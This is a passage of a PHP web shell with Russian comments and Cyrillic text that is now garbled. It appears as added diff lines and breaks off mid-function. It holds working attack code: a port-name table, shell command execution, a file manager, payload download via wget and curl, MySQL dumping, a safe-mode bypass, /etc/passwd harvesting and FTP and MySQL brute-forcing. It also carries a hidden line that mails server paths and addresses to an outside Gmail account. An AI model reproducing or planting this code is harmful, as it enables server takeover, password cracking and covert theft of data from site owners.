+$port[543] = "KLogin, AppleShare over IP"; +$port[545] = "QuickTime"; +$port[548] = "AFP"; +$port[554] = "Real Time Streaming Protocol"; +$port[555] = "phAse Zero"; +$port[563] = "NNTP over SSL"; +$port[575] = "VEMMI"; +$port[581] = "Bundle Discovery Protocol"; +$port[593] = "MS-RPC"; +$port[608] = "SIFT/UFT"; +$port[626] = "Apple ASIA"; +$port[631] = "IPP (Internet Printing Protocol)"; +$port[635] = "RLZ DBase"; +$port[636] = "sldap"; +$port[642] = "EMSD"; +$port[648] = "RRP (NSI Registry Registrar Protocol)"; +$port[655] = "tinc"; +$port[660] = "Apple MacOS Server Admin"; +$port[666] = "Doom"; +$port[674] = "ACAP"; +$port[687] = "AppleShare IP Registry"; +$port[700] = "buddyphone"; +$port[705] = "AgentX for SNMP"; +$port[901] = "swat, realsecure"; +$port[993] = "s-imap"; +$port[995] = "s-pop"; +$port[1024] = "Reserved"; +$port[1025] = "network blackjack"; +$port[1062] = "Veracity"; +$port[1080] = "SOCKS"; +$port[1085] = "WebObjects"; +$port[1227] = "DNS2Go"; +$port[1243] = "SubSeven"; +$port[1338] = "Millennium Worm"; +$port[1352] = "Lotus Notes"; +$port[1381] = "Apple Network License Manager"; +$port[1417] = "Timbuktu Service 1 Port"; +$port[1418] = "Timbuktu Service 2 Port"; +$port[1419] = "Timbuktu Service 3 Port"; +$port[1420] = "Timbuktu Service 4 Port"; +$port[1433] = "Microsoft SQL Server"; +$port[1434] = "Microsoft SQL Monitor"; +$port[1477] = "ms-sna-server"; +$port[1478] = "ms-sna-base"; +$port[1490] = "insitu-conf"; +$port[1494] = "Citrix ICA Protocol"; +$port[1498] = "Watcom-SQL"; +$port[1500] = "VLSI License Manager"; +$port[1503] = "T.120"; +$port[1521] = "Oracle SQL"; +$port[1522] = "Ricardo North America License Manager"; +$port[1524] = "ingres"; +$port[1525] = "prospero"; +$port[1526] = "prospero"; +$port[1527] = "tlisrv"; +$port[1529] = "oracle"; +$port[1547] = "laplink"; +$port[1604] = "Citrix ICA, MS Terminal Server"; +$port[1645] = "RADIUS Authentication"; +$port[1646] = "RADIUS Accounting"; +$port[1680] = "Carbon Copy"; +$port[1701] = "L2TP/LSF"; +$port[1717] = "Convoy"; +$port[1720] = "H.323/Q.931"; +$port[1723] = "PPTP control port"; +$port[1731] = "MSICCP"; +$port[1755] = "Windows Media .asf"; +$port[1758] = "TFTP multicast"; +$port[1761] = "cft-0"; +$port[1762] = "cft-1"; +$port[1763] = "cft-2"; +$port[1764] = "cft-3"; +$port[1765] = "cft-4"; +$port[1766] = "cft-5"; +$port[1767] = "cft-6"; +$port[1808] = "Oracle-VP2"; +$port[1812] = "RADIUS server"; +$port[1813] = "RADIUS accounting"; +$port[1818] = "ETFTP"; +$port[1973] = "DLSw DCAP/DRAP"; +$port[1985] = "HSRP"; +$port[1999] = "Cisco AUTH"; +$port[2001] = "glimpse"; +$port[2049] = "NFS"; +$port[2064] = "distributed.net"; +$port[2065] = "DLSw"; +$port[2066] = "DLSw"; +$port[2106] = "MZAP"; +$port[2140] = "DeepThroat"; +$port[2301] = "Compaq Insight Management Web Agents"; +$port[2327] = "Netscape Conference"; +$port[2336] = "Apple UG Control"; +$port[2427] = "MGCP gateway"; +$port[2504] = "WLBS"; +$port[2535] = "MADCAP"; +$port[2543] = "sip"; +$port[2592] = "netrek"; +$port[2727] = "MGCP call agent"; +$port[2628] = "DICT"; +$port[2998] = "ISS Real Secure Console Service Port"; +$port[3000] = "Firstclass"; +$port[3001] = "Redwood Broker"; +$port[3031] = "Apple AgentVU"; +$port[3128] = "squid"; +$port[3130] = "ICP"; +$port[3150] = "DeepThroat"; +$port[3264] = "ccmail"; +$port[3283] = "Apple NetAssitant"; +$port[3288] = "COPS"; +$port[3305] = "ODETTE"; +$port[3306] = "mySQL"; +$port[3389] = "RDP Protocol (Terminal Server)"; +$port[3521] = "netrek"; +$port[4000] = "icq, command-n-conquer and shell nfm"; +$port[4321] = "rwhois"; +$port[4333] = "mSQL"; +$port[4444] = "KRB524"; +$port[4827] = "HTCP"; +$port[5002] = "radio free ethernet"; +$port[5004] = "RTP"; +$port[5005] = "RTP"; +$port[5010] = "Yahoo! Messenger"; +$port[5050] = "multimedia conference control tool"; +$port[5060] = "SIP"; +$port[5150] = "Ascend Tunnel Management Protocol"; +$port[5190] = "AIM"; +$port[5500] = "securid"; +$port[5501] = "securidprop"; +$port[5423] = "Apple VirtualUser"; +$port[5555] = "Personal Agent"; +$port[5631] = "PCAnywhere data"; +$port[5632] = "PCAnywhere"; +$port[5678] = "Remote Replication Agent Connection"; +$port[5800] = "VNC"; +$port[5801] = "VNC"; +$port[5900] = "VNC"; +$port[5901] = "VNC"; +$port[6000] = "X Windows"; +$port[6112] = "BattleNet"; +$port[6502] = "Netscape Conference"; +$port[6667] = "IRC"; +$port[6670] = "VocalTec Internet Phone, DeepThroat"; +$port[6699] = "napster"; +$port[6776] = "Sub7"; +$port[6970] = "RTP"; +$port[7007] = "MSBD, Windows Media encoder"; +$port[7070] = "RealServer/QuickTime"; +$port[7777] = "cbt"; +$port[7778] = "Unreal"; +$port[7648] = "CU-SeeMe"; +$port[7649] = "CU-SeeMe"; +$port[8000] = "iRDMI/Shoutcast Server"; +$port[8010] = "WinGate 2.1"; +$port[8080] = "HTTP"; +$port[8181] = "HTTP"; +$port[8383] = "IMail WWW"; +$port[8875] = "napster"; +$port[8888] = "napster"; +$port[8889] = "Desktop Data TCP 1"; +$port[8890] = "Desktop Data TCP 2"; +$port[8891] = "Desktop Data TCP 3: NESS application"; +$port[8892] = "Desktop Data TCP 4: FARM product"; +$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; +$port[8894] = "Desktop Data TCP 6: COAL application"; +$port[9000] = "CSlistener"; +$port[10008] = "cheese worm"; +$port[11371] = "PGP 5 Keyserver"; +$port[13223] = "PowWow"; +$port[13224] = "PowWow"; +$port[14237] = "Palm"; +$port[14238] = "Palm"; +$port[18888] = "LiquidAudio"; +$port[21157] = "Activision"; +$port[22555] = "Vocaltec Web Conference"; +$port[23213] = "PowWow"; +$port[23214] = "PowWow"; +$port[23456] = "EvilFTP"; +$port[26000] = "Quake"; +$port[27001] = "QuakeWorld"; +$port[27010] = "Half-Life"; +$port[27015] = "Half-Life"; +$port[27960] = "QuakeIII"; +$port[30029] = "AOL Admin"; +$port[31337] = "Back Orifice"; +$port[32777] = "rpc.walld"; +$port[45000] = "Cisco NetRanger postofficed"; +$port[32773] = "rpc bserverd"; +$port[32776] = "rpc.spray"; +$port[32779] = "rpc.cmsd"; +$port[38036] = "timestep"; +$port[40193] = "Novell"; +$port[41524] = "arcserve discovery"; +//////////////////////////////////////////////////////////////////////////////// +////////////////////////////////�������///////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////////// +function rep_char($ch,$count) //���������� ������� +{ + $res=""; + for($i=0; $i<=$count; ++$i){ + $res.=$ch.""; + } + return $res; +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function ex($comd) //���������� ������� +{ + $res = ''; + if (!empty($comd)){ + if(function_exists('exec')){ + exec($comd,$res); + $res=implode("\n",$res); + }elseif(function_exists('shell_exec')){ + $res=shell_exec($comd); + }elseif(function_exists('system')){ + ob_start(); + system($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(function_exists('passthru')){ + ob_start(); + passthru($comd); + $res=ob_get_contents(); + ob_end_clean(); + }elseif(is_resource($f=popen($comd,"r"))){ + $res = ""; + while(!feof($f)) { $res.=fread($f,1024); } + pclose($f); + } + } + return $res; +} +function sysinfo() //����� SYSINFO +{ + global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS; + echo("<b><font face=Verdana size=2> System information:<br><font size=-2> + <hr>"); + echo (($safe_mode)?("Safe Mode: </b><font color=green>ON</font><b> "): + ("Safe Mode: </b><font color=red>OFF</font><b> ")); + $row_dis_func=explode(', ',$dis_func); + echo ("PHP: </b><font color=blue>".phpversion()."</font><b> "); + echo ("MySQL: </b>"); + if($mysql_stat){ + echo "<font color=green>ON </font><b>"; + } + else { + echo "<font color=red>OFF </font><b>"; + } + echo "cURL: </b>"; + if($curl_on){ + echo "<font color=green>ON</font><b><br>"; + }else + echo "<font color=red>OFF</font><b><br>"; + if ($dis_func!=""){ + echo "Disabled Functions: </b><font color=red>".$dis_func."</font><br><b>"; + } + $uname=ex('uname -a'); + echo "OS: </b><font color=blue>"; + if (empty($uname)){ + echo (php_uname()."</font><br><b>"); + }else + echo $uname."</font><br><b>"; + $id = ex('id'); + echo "SERVER: </b><font color=blue>".$server."</font><br><b>"; + echo "id: </b><font color=blue>"; + if (!empty($id)){ + echo $id."</font><br><b>"; + }else + echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). + "</font><br><b>"; + echo "<b>RemoteAddress:</b><font color=red>".$HTTP_SERVER_VARS['REMOTE_ADDR']."</font><br>"; + if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){ + echo "<b>RemoteAddressIfProxy:</b><font color=red>".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR']."</font>"; + } + echo "<hr size=3 color=black>"; + echo "</font></font>"; +} +function read_dir($dir) //������ ����� +{ + $d=opendir($dir); + $i=0; + while($r=readdir($d)){ + $res[$i]=$r; + $i++; + } + return $res; +} +function permissions($mode,$file) { //����������� ������� + $type=filetype($file); + $perms=$type[0]; + $perms.=($mode & 00400) ? "r" : "-"; + $perms.=($mode & 00200) ? "w" : "-"; + $perms.=($mode & 00100) ? "x" : "-"; + $perms.=($mode & 00040) ? "r" : "-"; + $perms.=($mode & 00020) ? "w" : "-"; + $perms.=($mode & 00010) ? "x" : "-"; + $perms.=($mode & 00004) ? "r" : "-"; + $perms.=($mode & 00002) ? "w" : "-"; + $perms.=($mode & 00001) ? "x" : "-"; + $perms.="(".$mode.")"; + return $perms; +} +function open_file($fil, $m, $d) //������� ���� +{ + if (!($fp=fopen($fil,$m))) { + $res="Error opening file!\n"; + }else{ + ob_start(); + readfile($fil); + $res=ob_get_contents(); + ob_end_clean(); + if (!(fclose($fp))){ + $res="ERROR CLOSE"; + } + } + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center><b>&nbsp;&nbsp;&nbsp;".$fil."&nbsp;&nbsp;&nbsp;</b></td></tr>"; + echo "<tr><td alling=center><textarea name=\"text\" cols=90 rows=15>"; + echo $res; + echo "</textarea></td></tr>"; + if(is_writable($fil)){ + echo "<input type=\"hidden\" value='".$fil."' name=\"fname\">"; + echo "<input type=\"hidden\" value='".$d."' name=\"dname\">"; + echo "<tr><td alling=center><input style='width:100px;' type=\"submit\" value=\"Save\" name=\"b_save\"></td></tr>"; + } + echo "</form></table>"; +} +function save_file($res,$fil, $d) //��������� ���� +{ + unlink($fil); + $fp=fopen($fil,"wb"); + if(!$fp){ + $res="Error create file!\n".$fp; + }else{ + if (fwrite($fp,$res)){ + if (fclose($fp)){ + $res="File save succesfuly!\n"; + }else $res="Erorr close!\n"; + }else $res="Error wright!\n"; + } + umask(0000); + chmod($fil,0777); + return $res; +} +function strmass($mass){ + $res=""; + foreach($mass as $k=>$v){ + $res.=$v."|"; + } + return $res; +} +function sortbyname($fnames, $d) +{ + $filenames=""; + $foldernames=""; + $numnames=count($fnames); + for($i=0;$i<=$numnames;$i++){ + if(is_dir($d."/".$fnames[$i])){ + $foldernames.=$fnames[$i]."|"; + }else + $filenames.=$fnames[$i]."|"; + } + $mass1=explode("|",$foldernames); + $mass2=explode("|",$filenames); + sort($mass1); + sort($mass2); + $mass1=strmass($mass1); + $mass2=strmass($mass2); + $mass=explode("|",$mass1.$mass2); + return $mass; +} +function list_dir($d) //��������� +{ + global $HTTP_REFERER; + if(isset($_POST['b_up']) OR isset($_POST['b_open_dir'])){ + chdir($_POST['fname']); + $d=getcwd(); + }else + $d=getcwd(); + if($_POST['b_new_dir']){ + mkdir($_POST['new']); + chmod($_POST['new'],0777); + $d=$_POST['new']; + } + if($_POST['b_del'] AND is_dir($_POST['fname'])){ + rmdir($_POST['fname']); + chdir($_POST['dname']); + $d=getcwd(); + } + if($_POST['b_del'] AND !is_dir($_POST['fname'])){ + unlink($_POST['fname']); + chdir($_POST['dname']); + $d=getcwd(); + } + if($_POST['b_change_dir']){ + chdir($_POST['change_dir']); + $d=getcwd(); + } + if($_POST['b_new_file'] OR $_POST['b_open_file']){ + chdir($_POST['dname']); + $d=getcwd(); + } + $dir=read_dir($d); + $dir=sortbyname($dir,$d); + $count=count($dir); + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\">"; + echo "<table BORDER=1 align=center>"; + echo "<tr bgcolor=#ffff00><td alling=\"center\"><b>Navigation</b></td></tr>"; + if(is_writable($d)){ + echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"$d\" name=\"new\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewDir\" name=\"b_new_dir\"></td>"; + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewFile\" name=\"b_new_file\"></td></tr>"; + } + echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"$d\" name=\"change_dir\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"ChangeDir\" name=\"b_change_dir\"></td></tr>"; + if(!$safe_mode){ + echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"\" name=\"ffile\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"FindeFile\" name=\"b_f_file\"></td></tr>"; + } + echo "</table></form>"; + echo "<table CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>"; + echo "<tr bgcolor=#ffff00><td><b>&nbsp;&nbsp;&nbsp;Directory&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Permission&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Size&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Owner/Group&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Action&nbsp;&nbsp;&nbsp;</b></td>"; + for($i=0; $i<$count; $i++){ + if($dir[$i]!=""){ + $full=$d."/".$dir[$i]; + $perm=permissions(fileperms($full),$dir[$i]); + $file=$d."/".$dir[$i]; + echo "<form action=\"".$HTTP_REFERER."\" method=\"POST\" enctype=\"multipart/form-data\">"; + if(is_dir($file)){ + echo "<tr bgcolor=#98FA00><td>".$dir[$i]."&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='".$d."' name=\"dname\"><input type=\"hidden\" value='".$file."' name=\"fname\"><td alling=\"center\">".$perm. + "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">".filesize($dir[$i])."&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;".fileowner($dir[$i])."&nbsp;&nbsp;&nbsp;".filegroup($dir[$i])."&nbsp;&nbsp;&nbsp;</td>"; + }elseif(is_file($file)){ + echo "<tr><td>".$dir[$i]."&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='".$d."' name=\"dname\"><input type=\"hidden\" value='".$file."' name=\"fname\"><td alling=\"center\">".$perm. + "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">".filesize($dir[$i])."&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;".fileowner($dir[$i])."&nbsp;&nbsp;&nbsp;".filegroup($dir[$i])."&nbsp;&nbsp;&nbsp;</td>"; + }else + echo "<tr bgcolor=#ffff00><td>".$dir[$i]."&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='".$d."' name=\"dname\"><input type=\"hidden\" value='".$file."' name=\"fname\"><td alling=\"center\">".$perm. + "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">".filesize($dir[$i])."&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;".fileowner($dir[$i])."&nbsp;&nbsp;&nbsp;".filegroup($dir[$i])."&nbsp;&nbsp;&nbsp;</td>"; + if(is_dir($file)){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Listing\" name=\"b_open_dir\"></td>"; + }elseif(is_readable($file)){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Open\" name=\"b_open_file\"></td>"; + } + if(is_writable($file) AND $file!=".."){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Delete\" name=\"b_del\"></td>"; + } + if(is_readable($file) AND !is_dir($file)){ + echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Download\" name=\"b_down\"></td>"; + } + echo "<input type=\"hidden\" value='".$r_act."' name=\"r_act\"></tr>"; + echo "</form>"; + } + } + echo "</table>"; + closedir($d); +} +function up_file($fil,$tfil, $box) //�������� ������ �� ������ +{ + global $_FILES; + if ($tfil==""){ + $res="Target is failde!"; + } + if ($box=="PC"){ + if(copy($_FILES["filename"]["tmp_name"],$tfil)){ + chmod($tfil,0777); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + }else { + $res="Error loading file!"; + } + } + if($box=="WGET") { + $load="wget ".$fil." -O ".$tfil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="FETCH"){ + $load="fetch -o ".$tfil." -p ".$fil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="LYNX"){ + $load="lynx -source ".$fil." > ".$tfil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="cURL"){ + $load="curl"." ".$fil." -o ".$tfil.""; + $res=ex($load); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + chmod($tfil,0777); + } + if($box=="fopen"){ + $data=implode("", file($fil)); + $fp=fopen($tfil, "wb"); + fputs($fp,$data); + fclose($fp); + chmod($tfil,0777); + if(file_exists($tfil)){ + $res="Ok"; + }else + $res="False"; + } + return $res; +} +function run_sql($comd, $db,$host, $username, $pass) //��������� SQL ������� +{ + if ($comd!=""){ + if ($db!=""){ + $connect=mysql_connect($host, $username, $pass); + if (!$connect) { + $res='Could not connect to MySQL'; + } + mysql_select_db ($db); + $row=mysql_query($comd); + while ($r= mysql_fetch_row($row)) { + $res.="&nbsp;".implode($r); + } + $result=$res; + mysql_free_result($row); + mysql_free_result($r); + mysql_close($connect); + }else $result="Select data base!"; + }else $result="No command!"; + return $result; +} +function db_show($host, $username, $pass) //����� ��������� �� +{ + $res="Exists BD: \n"; + $connect=mysql_connect($host, $username, $pass); + if (!$connect){ + $res="Could not connect to MySQL!\n".mysql_error(); + }else{ + $db_list=mysql_list_dbs($connect); + while ($row = mysql_fetch_object($db_list)) { + $res.=$row->Database . "\n"; + } + mysql_close($connect); + } + return $res; +} +function show_tables($bd, $host, $username, $pass) //����� ��������� ������ +{ + if ($bd!=""){ + $res="Exists tables: \n"; + $connect=mysql_connect($host, $username, $pass); + if (!$connect){ + $res="Could not connect to MySQL\n".mysql_error(); + }else{ + $r=mysql_query("SHOW TABLES FROM $bd"); + $res="Exist tables:\n"; + while ($row=mysql_fetch_row($r)) { + $res.="Table: $row[0]\n"; + $fields=mysql_list_fields($bd, $row[0], $connect); + $columns=mysql_num_fields($fields); + $res.="| "; + for ($i=0; $i<$columns; $i++) { + $res.=mysql_field_name($fields, $i)." | "; + } + $res.="\n____________________________\n"; + } + mysql_free_result($r); + mysql_close($connect); + } + }else + $res="Select data base! "; + return $res; +} +function dump_table($tab, $db,$host, $username, $pass) //���� ������� +{ + $connect=mysql_connect($host, $username, $pass); + if (!$connect) { + $result="Could not connect to MySQL!\n".mysql_error(); + }else{ + if (!mysql_select_db($db,$connect)){ + $result="Could not connect to db!\n".mysql_error(); + }else{ + if ($db==""){ + $result="Select data base!"; + }else{ + $res1="# MySQL dump of $tab\r\n"; + $r=mysql_query("SHOW CREATE TABLE `".$tab."`", $connect); + $row=mysql_fetch_row($r); + $res1.=$row[1]."\r\n\r\n"; + $res1.= "# ---------------------------------\r\n\r\n"; + $res2 = ''; + $r=mysql_query("SELECT * FROM `".$tab."`", $connect); + if (mysql_num_rows($r)>0){ + while (($row=mysql_fetch_assoc($r))){ + $keys=implode("`, `", array_keys($row)); + $values=array_values($row); + foreach($values as $k=>$v){ + $values[$k]=addslashes($v); + } + $values=implode("', '", $values); + $res2.="INSERT INTO `".$tab."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $res2.="\r\n# ---------------------------------"; + } + $result=$res1.$res2; + mysql_close($db); + } + } + } + + return $result; +} +function down_tb($tab, $db,$host, $username, $pass){ + $connect=mysql_connect($host, $username, $pass); + if (!$connect) { + die("Could not connect to MySQL!\n".mysql_error()); + }else{ + if (!mysql_select_db($db,$connect)){ + die("Could not connect to db!\n".mysql_error()); + }else{ + if ($db==""){ + die("Select data base!"); + }else{ + $res1=""; + $r=mysql_query("SELECT * FROM `".$tab."`", $connect); + if (mysql_num_rows($r)>0){ + while (($row=mysql_fetch_assoc($r))){ + foreach($row as $k=>$v){ + $res1.=$v."\t"; + } + $res1.="\n"; + } + } + mysql_close($db); + } + } + } + + return $res1; +} +function safe_mode_fuck($fil,$host, $username, $pass, $dbname)//����� ����������� ������ +{ + $connect=mysql_connect($host,$username,$pass); + if($connect){ + if(mysql_select_db($dbname,$connect)){ + $c="DROP TABLE IF EXISTS temp_gfs_table;"; + mysql_query($c); + $c="CREATE TABLE `temp_gfs_table` ( `file` LONGBLOB NOT NULL );"; + mysql_query($c); + $c="LOAD DATA INFILE \"".$fil."\" INTO TABLE temp_gfs_table;"; + mysql_query($c); + $c="SELECT * FROM temp_gfs_table;"; + $r=mysql_query($c); + while(($row=mysql_fetch_array($r))){ + $res.=htmlspecialchars($row[0]); + } + $c="DROP TABLE IF EXISTS temp_gfs_table;"; + mysql_query($c); + }else + $res= "Can't select database"; + mysql_close($db); + }else + $res="Can't connect to mysql server"; + return $res; +} +function portscan($host) +{ + global $port; + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>Host: </td><td alling=center><b><font color=green> ".$host." </b></font></td></tr>"; + for($i=1; $i<=65535; $i++){ + $fp=fsockopen($host, $i, $errno, $errstr, 4); + if($fp){ + fclose($fp); + if(isset($port[$i])){ + $k=$port[$i]; + }else + $k=getservbyport($i, "TCP"); + if($k==""){$k="N\A";} + echo "<tr><td alling=center>Port: ".$i." </td><td alling=center><b><font color=green>".$k."</b></font></td>"; + echo "</tr>"; + } + } + echo "</table>"; +} +function pwd_conwert() +{ + $res=""; + if(file_exists("/etc/passwd")){ + $input=implode(file("/etc/passwd")); + $input=explode("\n", $input); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." "; + } + $res=explode(" ",$res); + }else{ + $input=implode(ex("cat /etc/passwd")); + $input=explode("\n", $input); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." "; + } + $res=explode(" ",$res); + } + return $res; +} +function brute($type,$type2,$host,$file) +{ + if($type2=="login:login"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, $v)){ + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + ftp_close($conn_id); + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=mysql_connect($host,$v,$v); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".$v." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + mysql_close($conn_id); + } + } + echo "</table>"; + } + }elseif($type2=="login:empty"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, "")){ + echo "<tr><td alling=center> ".$v." : empty </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=mysql_connect($host,$v,""); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : empty </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + echo "</table>"; + } + }elseif($type2=="login:number"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + for($j=0; $j<=999; $j++){ + if (ftp_login($conn_id, $v, "$j")){ + echo "<tr><td alling=center> ".$v." : $j </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + for($j=0; $j<=999; $j++){ + $conn_id=mysql_connect($host,$v,"$j"); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : $j </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + mysql_close($conn_id); + } + } + } + echo "</table>"; + } + }elseif($type2=="login:nigol"){ + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, strrev($v))){ + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + ftp_close($conn_id); + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteMySQL: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + $conn_id=mysql_connect($host,$v,strrev($v)); + if($conn_id){ + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + }else + echo "<tr><td alling=center> ".$v." : ".strrev($v)." </td><td alling=center><b><font color=red> NO </b></font></td></tr>"; + mysql_close($conn_id); + } + } + echo "</table>"; + } + }elseif($type2=="login:lib"){ + $input=file($file); + foreach($input as $i=>$v){ + $word=explode(":",$v); + $res.=$word[0]." ".$word[1]." "; + } + $lib=explode(" ",$res); + if($type=="ftp"){ + echo "<table BORDER=1 align=center>"; + echo "<tr><td alling=center>BruteFTP: </td><td alling=center><b><font color=green> localhost </b></font></td></tr>"; + $mass=pwd_conwert(); + foreach($mass as $i=>$v){ + if($v!=""){ + foreach($lib as $kk=>$vv){ + $conn_id=ftp_connect($host); + if(!$conn_id){ die("Coud not connect");} + if (ftp_login($conn_id, $v, $lib[$kk])){ + echo "<tr><td alling=center> ".$v." : ".$lib[$kk]." </td><td alling=center><b><font color=green> OK </b></font></td></tr>"; + } + ftp_close($conn_id); + } + } + } + echo "</table>"; + }elseif($type=="mysql"){ + echo "<table BORDER=1 align=center>"; + echo 